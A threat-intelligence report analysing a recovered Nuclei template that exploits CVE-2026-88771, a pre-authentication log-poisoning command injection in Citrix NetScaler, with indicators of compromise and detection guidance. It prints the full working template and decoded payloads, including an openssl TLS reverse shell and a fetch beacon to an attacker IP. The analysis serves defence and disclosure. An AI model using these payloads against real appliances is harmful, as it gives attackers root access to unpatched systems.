CVE-2026-88771 - NetScalers versus The Chinese Pitboss

Field Value
Document Version 1.1
TLP ⚪ TLP:WHITE
Published by: mökki.sh

This report assumes a minimum familiarity with CVE-2026-88771. More information can be found at:

Summary

A Nuclei detection and exploitation template for CVE-2026-88771, an unauthenticated remote code execution vulnerability in Citrix NetScaler ADC and NetScaler Gateway, was recovered from an open directory at 94.26.35.132:8899. The template uses Chinese-language comments that explain the vulnerability mechanism and the operator’s exploitation strategy in detail. The template delivers a two-stage payload leading to a TLS-wrapped reverse shell and a secondary HTTP beacon used to confirm execution.

No dynamic analysis of this file was performed. All findings below come from static review of the file content.

Assessment

This Nuclei template file is a working exploitation tool for a critical, currently actively exploited NetScaler vulnerability. Anyone running it against an unpatched NetScaler gets a reverse shell with root-level access with no credentials required.

The Chinese comments are the most notable feature. They reads as a technical walkthrough covering the root cause, the exact log string needed to trigger it, and the reasoning behind each design choice in the request.

Both IPs in this report are assessed to be under the same operator’s control. 94.26.35.132 is the attack origin, the host from which the operator launches the template against target NetScaler appliances. 185.135.77.63 is the C2 server that receives the reverse shell sessions from successfully compromised victims.

Background

The file was captured from an open directory at 94.26.35.132:8899 on 2026-10-02, accessed via Validin Open Directories on 2026-10-04. The file was last modified two days prior on 2026-09-30. The directory contains additional files beyond the one covered here. Those are outside the scope of this report.

Technical Analysis of CVE-2026-88771-citrix-netscaler.yml

The Nuclei template in its entirety can be found in the bottom of the report as ‘Appendix B’.

Per the template’s own comments, the NetScaler component ns_monuploadd_err.pl extracts NSPPE core dump filenames from log entries using grep, sed, and awk, then splices the extracted value into a find command without validating the log content first. Any attacker-controlled field that reaches the logs, such as the login parameter or the User-Agent header, can contain the string pitboss PPE unexpectedly died NSPPE;<command>;# X and have that command executed as root once the script next runs its cycle, stated in the comments as occurring within 24 hours.

The template sends a single POST request to /nf/auth/doAuthentication.do with Content-Type: application/x-www-form-urlencoded, which poisons logs in two places at once.

  • The User-Agent header carries the primary reverse shell payload
  • The login form parameter carries a secondary execution-confirmation payload

The string ${IFS} resolves to a space and is used to avoid having raw space characters in the field. This is a technique noted by CERT-EU in early exploitation attempts using CVE-2026-88771. Decoded, the user-agent payload is:

mkfifo /tmp/.ars; sh -i </tmp/.ars 2>&1 | openssl s_client -quiet -connect 185.135.77.63:4443 >/tmp/.ars 2>/dev/null; rm /tmp/.ars

This command uses mkfifo to create a named pipe at /tmp/.ars, then wires an interactive shell’s input and output through that pipe, and relays the shell session over an openssl s_client TLS connection to 185.135.77.63 on port 4443 which creates a TLS-wrapped reverse shell. The pipe is deleted once the shell session ends. The comments state the operator’s listener is run by a file called listener.py which performs an automatic whoami check on connection as a second verification step. This listener.py name reference comes from the template’s own comments. This file has not been located.

The named pipe is a special filesystem object that moves bytes from one process to another without holding any data of its own. Unlike a regular file, nothing accumulates inside it and it only works while one process is writing into one end and another is reading from the other end at the same time. Here it is what lets sh -i have its input and output connected directly to openssl s_client, instead of relying on a temporary file or a second network socket.

+--------+  /tmp/.ars (pipe)  +---------+  TLS:4443  +---------------+
| sh -i  |<------------------>| openssl |<---------->| 185.135.77.63 |
+--------+                    | s_client|            +---------------+

Commands typed by the attacker arrive over TLS, pass through the pipe into the shell, and the shell’s output returns the same way. The pipe is the live channel for the whole session, not a one-time setup step. It is removed with rm /tmp/.ars only after the session ends.

The login parameter payload, decoded from URL encoding:

fetch -qo /dev/null http://185.135.77.63:8000/nsc-{{randstr}}

Citrix NetScalers run a modified version of FreeBSD and fetch is the FreeBSD base system’s HTTP client. The flags suppress (-q) output and discard the response body (-o to /dev/null), so this call exists solely to confirm, out of band, that the injected command executed, using a randomised path segment per the comments to distinguish individual runs.

Both payloads are prefixed with the exact log trigger string pitboss PPE unexpectedly died NSPPE; and suffixed with ;# X that are present in watchTowr’s POC, which comments out any trailing text the vulnerable script appends after the injected command.

Comparison with watchTowr public PoC

The watchTowr PoC for CVE-2026-88771 poisons only the login form parameter and accepts a command as an argument and exiting after a single request. The template here extends that to a dual-field approach, placing an independent reverse shell payload in the User-Agent header alongside the login parameter beacon. The two fields are injected simultaneously in the same request. If one field is sanitised, stripped, or truncated before reaching the log, the other remains a viable execution channel.

While not unique to exploitation of CVE-2026-88771, the ${IFS} substitution throughout the User-Agent payload is the operator’s own addition, required by YAML syntax rather than by the vulnerability itself. The watchTowr script constructs payloads in Python and has no equivalent constraint. The watchTowr script also includes no fingerprinting, no target verification, and no out-of-band execution confirmation, while this Nuclei template wraps the same injection in a full detection and confirmation package.

Fingerprinting and verification

The template fingerprints NetScaler targets using a rule built into the template itself, which is then evaluated against the first response only. It matches on the NSC_ session cookie pattern, a NetScaler or Citrix Gateway Server header, body strings tied to the Citrix logon page, or the page title. The comments note a matching rule exists in a separate shared fingerprint library, but is duplicated here to keep the template self-contained.

Exploitation is verified by checking for an HTTP 200 status together with a vnd.citrix.authenticateresponse content type header, which the comments state is unique to NetScaler’s AAA authentication handler and present across the full authentication flow, used in place of a body match because reflected content varies by authentication state.

Attack Flow

+------------------+     Initial request      +-------------------+
|                  | -----------------------> |                   |
|   Nuclei         |                          |   Target host     |
|   template       | <----------------------- |                   |
|                  |     Response             +-------------------+
+------------------+
         |
         | Evaluate response against fingerprint rules (any one sufficient)
         |
         +-- Set-Cookie: NSC_[A-Za-z0-9]           --+
         +-- Server: netscaler (case-insensitive)    |  MATCH -> proceed to exploit
         +-- Body: /logon/LogonPoint, Citrix Gateway |
         +-- Title: netscaler, citrix gateway      --+
         |
         | No match -> skip host
         |
         v
+------------------+     POST /nf/auth/doAuthentication.do     +-------------------+
|                  | ----------------------------------------> |                   |
|   Nuclei         |   poisoned User-Agent + login parameter   |   NetScaler AAA   |
|   template       | <---------------------------------------- |   handler         |
|                  |     Response                              +-------------------+
+------------------+
         |
         | Verify response
         |
         +-- HTTP 200
         +-- Content-Type: vnd.citrix.authenticateresponse   -> CONFIRMED: poison delivered
         |
         | Either condition fails -> unconfirmed

Conclusion

The template is a capable and well-structured exploitation tool for a critical and actively exploited vulnerability. It extends the public watchTowr PoC with dual-field log poisoning, a TLS reverse shell, out-of-band execution confirmation, and target fingerprinting built into the template itself. This is all in a single file with detailed Chinese-language operational commentary. The infrastructure separation between the attack origin and the C2 server is deliberate, reducing the effectiveness of reactive blocking on the victim side.

At the time of analysis, neither C2 port was responding, and the template could not have established a successful session against a vulnerable target. The log poisoning itself would still execute on an unpatched appliance, as execution depends on the ns_monuploadd_err.pl cycle rather than a live connection at the time of the request.

Indicators of Compromise

Network

Type Value Notes
IP 185.135.77.63 Reverse shell listener and execution-confirmation beacon host, IVPN exit node, AS132825 MYTEK TRADING PTY LTD, Tokyo - see note below
IP 94.26.35.132 Open directory hosting the template
Port 4443/TCP Reverse shell channel outbound from victim
Port 8000/TCP Execution-confirmation beacon outbound from victim
URL http://185.135.77.63:8000/nsc-[a-z0-9]{8} Beacon path pattern with an 8-character random alphanumeric suffix generated by Nuclei {{randstr}} per run
User-Agent Mozilla/5.0 pitboss PPE unexpectedly died NSPPE;* UA used in exploitation request

Note on 185.135.77.63. Spur.us and Synthient.com both identify this address as a commercial VPN exit node operated by IVPN (ivpn.net). Synthient records two devices and a last-seen date of 2026-10-04 in a proxy role, with a medium risk score of 65/100. IKE responses on ports 500/UDP and 4500/UDP corroborate active VPN service on the host. At the time of analysis, ports 4443/TCP and 8000/TCP were not responding. The template would execute on a vulnerable target, but no reverse shell session would be established and no beacon confirmation would be received, with this current template configuration.

Note on 94.26.35.132. The /24 block 94.26.35.0/24 is held by Private Layer INC (AS51852), a Panama-registered provider with infrastructure in Zurich, and sub-allocated to Sino Worldwide Trading Limited (AS211443).

String / Log

Type Value Notes
Log string pitboss PPE unexpectedly died NSPPE Trigger string - presence in any log processed by ns_monuploadd_err.pl indicates a poisoning attempt
URL-encoded pitboss%20PPE%20unexpectedly%20died%20NSPPE As it appears in the login parameter of the POST body

File

Type Value Notes
Named pipe /tmp/.ars Present on victim host only during an active reverse shell session

Detection Guidance

On Disk

The following indicators may be present on a compromised NetScaler ADC or Gateway host. Absence of /tmp/.ars does not rule out compromise, as the payload deletes the named pipe on session end.

  • /tmp/.ars - named pipe created by the reverse shell payload, present only during an active session
  • Log entries containing the string pitboss PPE unexpectedly died NSPPE in any log file processed by ns_monuploadd_err.pl
  • ns_monuploadd_err.pl - review the installed version against fixed builds 14.1-73.37 and 13.1-64.23 to confirm patch status

In Network Logs

Inbound to NetScaler

  • POST /nf/auth/doAuthentication.do with a User-Agent header containing the string pitboss PPE unexpectedly died NSPPE
  • POST /nf/auth/doAuthentication.do with a login parameter containing pitboss PPE unexpectedly died NSPPE (URL-encoded: pitboss%20PPE%20unexpectedly%20died%20NSPPE)
  • User-Agent header beginning with Mozilla/5.0 followed directly by injected content and no standard platform comment or product tokens. This pattern is syntactically invalid and does not appear in legitimate browser traffic. It is the structure produced by the watchTowr proof of concept and indicates exploitation activity at the CVE-2026-88771 endpoint. The value Mozilla/5.0 pitboss PPE unexpectedly died NSPPE is specific to this template and carries higher confidence.

Outbound from NetScaler

  • TLS connection to 185.135.77.63 on port 4443 for the reverse shell channel via openssl s_client
  • HTTP GET request to 185.135.77.63 on port 8000 with a path matching /nsc-<random string> for the out-of-band execution confirmation beacon

Seeing as the IPs above are no longer active, finding them in your logs would indicate past activity towards your system. Connections to different IPs on the same ports with the same parameters should be investigated.

Appendix A - CVE-2026-88771-citrix-netscaler.yml - File Info

Field Value
Filename CVE-2026-88771-citrix-netscaler.yml
Source Open directory on 94.26.35.132:8899
Capture time 2026-10-02T07:09:49Z
Modified 2026-09-30T13:06:19Z
Collection method Validin Open Directories
File type Nuclei YAML template
Size 2393 bytes
MD5 e0254cb527fdccee866f1d4b102682e2
SHA1 5d1f602278f6013e987cad39242019c2c01e78c1
SHA256 c5966716881bf330d285e07a2d57dd0e264fbdb7c26f3a2c2b4282985812a8ed

Appendix B - CVE-2026-88771-citrix-netscaler.yml - Template Content

id: CVE-2026-88771
info:
  name: Citrix NetScaler ADC/Gateway PreAuth Command Injection (ns_monuploadd_err.pl Log Poisoning)
  severity: critical
  tags: [citrix, netscaler, adc, gateway, rce, command-injection, kev]
  reference:
    - https://watchtowr.com/intelligence/citrix-netscaler-zero-day-vulnerabilities-faq
# 原理: ns_monuploadd_err.pl 用 grep|sed|awk 从日志提取 NSPPE core 文件名后拼进反引号 find 命令,
# 日志内容未校验 → 任何落日志的攻击者可控字段(login/UA/参数)带
#   "pitboss PPE unexpectedly died NSPPE;<无空格命令>;# X"
# 即在脚本周期运行(<=24h)时以 root 执行注入命令。修复: 14.1-73.37 / 13.1-64.23 (CTX697096)。
# 本 POC 单请求双投毒:
#   login 参数  → fetch 回调 http://LHOST:8000/nsc-{{randstr}} (执行证明, FreeBSD base 自带 fetch)
#   User-Agent  → openssl TLS 反弹到 4443 (listener.py 会话, 自动 whoami 二次验证)
# 指纹路由:内联声明式规则(对首响应求值,零额外请求);product 为开放标签不依赖引擎枚举。
# 指纹库 fingerprints/netscaler.yml 有同款规则,此处内联保证目录自包含。
fingerprint:
  product: netscaler
  match:
    any:
      - set_cookie: 'NSC_[A-Za-z]'
      - server: '(?i)netscaler'
      - body: '/logon/LogonPoint|nscsp_violation|Citrix Gateway|vpn/index\.html'
      - title: '(?i)netscaler|citrix gateway'
request:
  method: POST
  path: /nf/auth/doAuthentication.do
  headers:
    Content-Type: application/x-www-form-urlencoded
    User-Agent: "Mozilla/5.0 pitboss PPE unexpectedly died NSPPE;mkfifo${IFS}/tmp/.ars;sh${IFS}-i${IFS}</tmp/.ars${IFS}2>&1${IFS}|${IFS}openssl${IFS}s_client${IFS}-quiet${IFS}-connect${IFS}185.135.77.63:4443${IFS}>/tmp/.ars${IFS}2>/dev/null;rm${IFS}/tmp/.ars;# X"
  body: 'login=pitboss%20PPE%20unexpectedly%20died%20NSPPE%3Bfetch%24%7BIFS%7D-qo%24%7BIFS%7D%2Fdev%2Fnull%24%7BIFS%7Dhttp%3A%2F%2F185.135.77.63%3A8000%2Fnsc-{{randstr}}%3B%23%20X&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On'
# verify 走 status+header_match(body 反射因认证流而异不可靠;vnd.citrix.authenticateresponse
# 是 NetScaler AAA 处理器独有 Content-Type,全认证流必带)。注意引擎按 match_pattern>header 顺序
# 短路,故不放 match_pattern。
verify:
  status: 200
  header_match: 'vnd\.citrix\.authenticateresponse'
exploit:
  type: rce

References

Changelog

Version Date Description
1.0 2026-10-04 Initial Release
1.1 2026-10-08 Changing phrasing, changed TLP to WHITE

// mökki.sh